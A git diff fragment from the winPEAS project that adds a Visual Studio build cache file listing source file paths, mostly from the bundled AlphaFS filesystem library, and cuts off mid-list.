..\packages\System.Data.SQLite.Linq.1.0.119.0\lib\net451\System.Data.SQLite.Linq.dll + @@ -84,8 +107,13 @@ + + + + + \ No newline at end of file diff --git a/winPEAS/winPEASexe/winPEAS/.vs/winPEAS.csproj.dtbcache.json b/winPEAS/winPEASexe/winPEAS/.vs/winPEAS.csproj.dtbcache.json new file mode 100644 index 0000000..42a8be3 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/.vs/winPEAS.csproj.dtbcache.json @@ -0,0 +1 @@ +{"RootPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\winPEAS","ProjectFileName":"winPEAS.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[{"SourceFile":"3rdParty\\AlphaFS\\Device\\ChangeErrorMode.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Device.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\DeviceInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\DiskSpaceInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\DriveInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DefineDosDevice.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DeleteDosDevice.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DeleteVolumeMountPoint.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DiskFreeSpace.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.DriveType.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.EnumerateVolumeMountPoints.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.EnumerateVolumePathNames.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.EnumerateVolumes.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetDriveFormat.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetDriveNameForNtDeviceName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetUniqueVolumeNameForPath.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeDeviceName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeDisplayName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeGuid.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeGuidForNtDeviceName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumeInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.GetVolumePathName.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.IsReady.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.IsSameVolume.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.IsVolume.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.QueryDosDevice.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.SetVolumeMountPoint.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\Volume.VolumeLabel.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Device\\Volume\\VolumeInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\ByHandleFileInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\CopyMoveArguments.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\CopyMoveProgressRoutine.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\CopyMoveResult.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.Compress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.CompressTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.Decompress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.DecompressTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.DisableCompression.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.DisableCompressionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.EnableCompression.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Compression\\Directory.EnableCompressionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.Copy.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.CopyFolderTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.CopyTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.Move.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.MoveTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory CopyMove\\Directory.ValidateMoveAction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CompressDecompressCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CopyMoveCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CopyMoveDirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CreateDirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.CreateJunctionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteDirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteDirectoryNative.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteEmptySubdirectoriesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.DeleteJunctionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EnableDisableEncryptionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EncryptDecryptDirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EnumerateFileIdBothDirectoryInfoCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.EnumerateFileSystemEntryInfosCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.ExistsJunctionCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetDirectoryRootCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetParentCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetPropertiesCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.GetSizeCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Core Methods\\Directory.IsEmptyCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.Decrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.DisableEncryption.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.EnableEncryption.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.Encrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.ExportEncryptedDirectoryRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Encryption\\Directory.ImportEncryptedDirectoryRaw.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateJunctionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateSymbolicLink.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.CreateSymbolicLinkTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.DeleteJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.DeleteJunctionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.ExistsJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Junctions, Links\\Directory.ExistsJunctionTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.CopyTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.CopyTimestampsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetChangeTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetCreationTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastAccessTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.GetLastWriteTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetCreationTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastAccessTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTime.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTimeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTimeUtc.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetLastWriteTimeUtcTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory Time\\Directory.SetTimestamps.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CountFileSystemObjects.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CountFileSystemObjectsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CreateDirectory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.CreateDirectoryTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.Delete.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.DeleteEmptySubdirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.DeleteEmptySubdirectoriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.DeleteTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateAlternateDataStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateAlternateDataStreamsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateDirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateDirectoriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileIdBothDirectoryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileIdBothDirectoryInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFiles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFilesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntries.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntryInfos.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateFileSystemEntryInfosTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.EnumerateLogicalDrives.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.Exists.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.ExistsDrive.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.ExistsTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetCurrentDirectory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectoriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectoryRoot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetDirectoryRootTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileIdInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileInfoByHandle.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileInfoByHandleTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFiles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFilesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntries.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntriesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetFileSystemEntryInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetLinkTargetInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetLinkTargetInfoTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetLogicalDrives.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetParent.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetParentTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetProperties.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetPropertiesTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetSize.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.GetSizeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.HasInheritedPermissions.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.IsEmpty.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.IsEmptyTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.SetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Directory Class\\Directory.SetCurrentDirectory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.Compress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.Decompress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.DisableCompression.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Compression\\DirectoryInfo.EnableCompression.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo CopyToMoveTo\\DirectoryInfo.CopyTo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo CopyToMoveTo\\DirectoryInfo.CopyToMoveToCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo CopyToMoveTo\\DirectoryInfo.MoveTo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.Decrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.DisableEncryption.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.EnableEncryption.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Encryption\\DirectoryInfo.Encrypt.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Junctions, Links\\DirectoryInfo.CreateJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Junctions, Links\\DirectoryInfo.DeleteJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo Junctions, Links\\DirectoryInfo.ExistsJunction.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.CountFileSystemObjects.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.Create.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.CreateSubdirectory.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.CreateSubdirectoryCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.Delete.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.DeleteEmptySubdirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateAlternateDataStreams.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateDirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateFiles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.EnumerateFileSystemInfos.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetDirectories.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetFileIdInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetFiles.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.GetFileSystemInfos.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.RefreshEntryInfo.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\DirectoryInfo Class\\DirectoryInfo.SetAccessControl.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\AlreadyExistsException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\DeviceNotReadyException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\DirectoryNotEmptyException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\DirectoryReadOnlyException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\FileReadOnlyException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\InvalidTransactionException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\NotAReparsePointException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\NotSameDeviceException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionalConflictException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionAlreadyAbortedException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionAlreadyCommittedException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\TransactionException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\UnrecognizedReparsePointException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\Exceptions\\UnsupportedRemoteTransactionException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.Compress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.CompressTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.Decompress.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.DecompressTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.GetCompressedSize.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Compression\\File.GetCompressedSizeTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.Copy.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.CopyMoveLogic.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.CopyMoveNative.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.CopyTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.Move.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.MoveTransacted.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.RestartMoveOrThrowException.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.ValidateFileOrDirectoryMoveArguments.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File CopyMove\\File.VerifyDelayUntilReboot.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.AppendTextCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CopyMoveCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CopyTimestampsCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateFileCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateFileStreamCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateHardlinkCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateSymbolicLinkCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.CreateTextCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.DeleteFileCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.EncryptDecryptFileCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core Methods\\File.EnumerateAlternateDataStreamsCore.cs"},{"SourceFile":"3rdParty\\AlphaFS\\Filesystem\\File Class\\File Core 